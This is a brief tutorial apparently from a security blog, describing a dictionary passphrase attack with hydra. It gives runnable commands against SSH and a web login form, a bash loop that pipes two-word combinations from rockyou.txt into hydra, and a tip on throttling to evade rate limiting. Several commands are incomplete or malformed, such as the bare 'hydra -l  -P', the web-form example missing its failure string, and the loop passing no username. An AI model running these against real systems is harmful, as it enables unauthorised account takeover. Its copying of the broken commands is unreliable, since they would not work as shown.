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Dictionary Passphrase Attack

G5 Cyber Security

TL;DR

This guide shows you how to try every possible combination of words from a dictionary file to crack a passphrase. It’s a basic brute-force attack, and it can be slow but effective against simple passphrases.

Steps

  1. Get a Dictionary File

    2. You’ll need a text file containing a list of words, one word per line. Many are available online; search for ‘wordlist’ or ‘dictionary attack list’. A larger dictionary will take longer but has more possibilities.

  2. Choose Your Tool

    3. Several tools can do this. We’ll use hydra as an example, but others like john the ripper also work well. Make sure you have it installed on your system. On Debian/Ubuntu:

    sudo apt update
sudo apt install hydra
  3. Identify the Target Service

    4. You need to know what service is protecting the passphrase (e.g., SSH, FTP, a web application login). You also need the username if required.

  4. Run Hydra with Wordlist

    5. This is where you start the attack. The basic command structure for hydra looks like this:

    hydra -l  -P

Example for SSH:

hydra -l testuser -P /usr/share/wordlists/rockyou.txt 192.168.1.10 ssh

Example for a web form (HTTP POST): You’ll need to inspect the login form’s HTML source code to find the parameter names.

hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 http-post-form "login=^USER^&password=^PASS^"
  • Monitor the Output

    • Hydra will try each word in your dictionary as a password. It will print any successful logins to the console.

  • Combine Words (Optional)

    • For longer passphrases, you can try combining words from the dictionary. This significantly increases the number of attempts but also the chance of success. You’ll need a script or tool that generates combinations. A simple bash loop example:

    #!/bin/bash
wordlist="/usr/share/wordlists/rockyou.txt"
while read -r word1;
do
  while read -r word2;
do
    echo "$word1 $word2"
  done < $wordlist
done < $wordlist | hydra -P - 192.168.1.10 ssh

    This script generates all two-word combinations and pipes them to Hydra.

  • Consider Rate Limiting

    • Many services have rate limiting, which will block you after too many failed attempts. You can use the -t option in Hydra to limit the number of concurrent connections and slow down the attack.

    Important Considerations

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